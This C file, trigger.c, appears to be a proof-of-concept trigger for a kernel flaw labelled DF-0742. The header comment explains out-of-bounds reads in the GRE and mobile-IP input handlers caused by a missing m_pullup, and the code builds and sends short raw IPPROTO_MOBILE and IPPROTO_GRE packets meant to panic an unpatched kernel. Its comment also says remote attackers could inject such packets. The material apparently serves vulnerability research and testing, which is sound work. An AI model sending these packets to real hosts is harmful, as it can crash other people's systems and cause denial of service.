DF-0742 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 | /* * DF-0742 โ gre_input2 / gre_mobile_input deref header fields at * offset 20+ without m_pullup. * * Both GRE input handlers overlay a struct (greip / mobip_h) starting at * mtod(m) and dereference fields at byte offset >= 20 (the GRE/mobile * header area, right after the 20-byte outer IP header) without first * calling m_pullup() to guarantee those bytes are in the head mbuf. * * gre_input2 (ip_gre.c:133-164) * gip = mtod(m, struct greip *) // overlay 0..23 * flags = ntohs(gip->gi_flags) // offset 20-21 (no m_pullup) * switch (ntohs(gip->gi_ptype)) // offset 22-23 (no m_pullup) * * gre_mobile_input (ip_gre.c:210-232) * mip = mtod(m, struct mobip_h *) // overlay 0..31 * ntohs(mip->mh.proto) // offset 20-21 (no m_pullup) * mip->mh.osrc // offset 28-31 (no m_pullup) * mip->mh.odst // offset 24-27 (no m_pullup) * gre_in_cksum(&mip->mh, msiz) // offset 20.. (no m_pullup) * * ip_input only guarantees m->m_len >= ip_hl*4 (KASSERT at * ip_input.c:539). For any packet whose head mbuf carries ONLY the IP * header โ a short single-mbuf packet, or a chained mbuf after ip_reass * m_cat โ the bytes at offset >= 20 are NOT in the head mbuf and the * overlay derefs read stale / recycled mbuf-cluster contents. * * This trigger exercises BOTH paths by sending short packets to a host * with matching gre / gre-mobile tunnels configured. Each variant is * shorter than the struct overlay, so the offset-20+ derefs read past * m_len before any length guard: * * Variant M (IPPROTO_MOBILE, 24-byte, S-bit set): * m_len=24. proto@20 OK, but osrc@28 and odst@24 and the 12-byte * gre_in_cksum range all extend past m_len=24. These OOB reads * (DF-0742) execute first; the subsequent bcopy size underflow * (DF-0741 sibling) then faults โ panic. The panic signature proves * the code reached the offset-20+ derefs without m_pullup. * * Variant G (IPPROTO_GRE, 20-byte, IP header only): * m_len=20. gi_flags@20 and gi_ptype@22 are entirely past m_len. * The function reads stale cluster data as flags/ptype. Depending * on the residue the packet is either mis-parsed (wrong ptype) or, * if the stale ptype happens to match ETHERTYPE_IP, hlen underflows * m_len โ corrupted mbuf โ netisr panic (DF-0740 sibling). * * Variant M reliably panics on the unpatched kernel. Variant G's * outcome is residue-dependent (may silently mis-parse). * * Build: cc -O2 -Wall -o trigger trigger.c * Run: (root, after gre / gre-mobile tunnel setup โ see run.sh) * ./trigger 127.0.0.1 127.0.0.1 * * Reachability: the tunnels are configured by an admin (root). The * trigger packets themselves are injectable by any remote attacker who * can route a matching outer src/dst to the host โ the raw-socket loop * -back send here is just the test harness. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define IPPROTO_GRE 47 #define IPPROTO_MOBILE 55 #define MOB_H_SBIT 0x0080 struct mobile_h { uint16_t proto; uint16_t hcrc; uint32_t odst; uint32_t osrc; } __attribute__((__packed__)); struct gre_h { uint16_t flags; uint16_t ptype; } __attribute__((__packed__)); /* gre_in_cksum โ same one's-complement sum the kernel uses (if_gre.c). */ static uint16_t gre_in_cksum(const uint16_t *p, size_t len) { uint32_t sum = 0; int nwords = len >> 1; while (nwords-- != 0) sum += *p++; if (len & 1) { union { uint16_t w; uint8_t c[2]; } u; u.c[0] = *(const uint8_t *)p; u.c[1] = 0; sum += u.w; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (uint16_t)(~sum); } static void build_iphdr(unsigned char *buf, int totlen, uint8_t proto, const char *src, const char *dst) { memset(buf, 0, totlen); struct ip *ip = (struct ip *)buf; ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = htons(totlen); ip->ip_id = htons(0x0742); ip->ip_off = 0; ip->ip_ttl = 64; ip->ip_p = proto; ip->ip_sum = 0; inet_pton(AF_INET, src, &ip->ip_src); inet_pton(AF_INET, dst, &ip->ip_dst); ip->ip_sum = gre_in_cksum((const uint16_t *)ip, 20); } int main(int argc, char **argv) { const char *dst_s = "127.0.0.1"; const char *src_s = "127.0.0.1"; if (argc > 1) dst_s = argv[1]; if (argc > 2) src_s = argv[2]; int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket(RAW)"); fprintf(stderr, "need root\n"); return 2; } int one = 1; setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); struct sockaddr_in dst; memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; inet_pton(AF_INET, dst_s, &dst.sin_addr); /* * === Variant M: IPPROTO_MOBILE, 24-byte packet, S-bit set === * m_len=24 at gre_mobile_input. S-bit set โ msiz=12. * proto@20-21 is in the mbuf, but odst@24-27 and osrc@28-31 are * past m_len=24 โ OOB read (DF-0742). gre_in_cksum reads 12 bytes * (offset 20-31), 8 of which are stale โ checksum likely fails. * If checksum passes (residue-dependent), bcopy size = 24-12-20 = * -8 โ underflow โ panic (DF-0741 sibling). */ { unsigned char pkt[24]; build_iphdr(pkt, sizeof(pkt), IPPROTO_MOBILE, src_s, dst_s); struct mobile_h mh; memset(&mh, 0, sizeof(mh)); mh.proto = htons(MOB_H_SBIT); /* S-bit set โ msiz=12 */ mh.hcrc = 0; mh.odst = 0; mh.osrc = 0; /* * Compute hcrc so gre_in_cksum over the FULL 12-byte header * (including the 8 bytes past our 4-byte on-wire payload) sums * to zero โ assuming the residue is zero. If the in-kernel * residue is non-zero the checksum fails and the packet is * dropped at line 232-234; the OOB reads at lines 225/229/232 * still execute. We send it regardless: the OOB reads happen * before the checksum check. */ mh.hcrc = gre_in_cksum((const uint16_t *)&mh, 12); memcpy(pkt + 20, &mh, 4); /* only 4 bytes go on the wire */ printf("[DF-0742-M] sending 24-byte IPPROTO_MOBILE (S-bit) packet\n"); printf(" m_len=24, msiz=12 โ odst@24-27, osrc@28-31, " "cksum[20..31] all past m_len (OOB read)\n"); ssize_t n = sendto(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)); if (n < 0) perror(" sendto M"); else printf(" sent %zd bytes\n", n); } usleep(100000); /* * === Variant G: IPPROTO_GRE, 20-byte packet (IP header only) === * m_len=20 at gre_input2. gi_flags@20-21 and gi_ptype@22-23 are * entirely past m_len=20 โ OOB read (DF-0742). The stale ptype * determines whether the packet is accepted (โ hlen underflow, * DF-0740 sibling panic) or silently dropped via rip_input. This * variant is residue-dependent; it demonstrates the OOB read but * may not reliably panic. */ { unsigned char pkt[20]; build_iphdr(pkt, sizeof(pkt), IPPROTO_GRE, src_s, dst_s); printf("[DF-0742-G] sending 20-byte IPPROTO_GRE packet\n"); printf(" m_len=20, gi_flags@20-21, gi_ptype@22-23 " "past m_len (OOB read)\n"); ssize_t n = sendto(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)); if (n < 0) perror(" sendto G"); else printf(" sent %zd bytes\n", n); } close(s); usleep(300000); printf("[DF-0742] if the guest is still reachable, the live path did " "not panic (residue-dependent); check boot.log for signatures.\n"); return 0; } |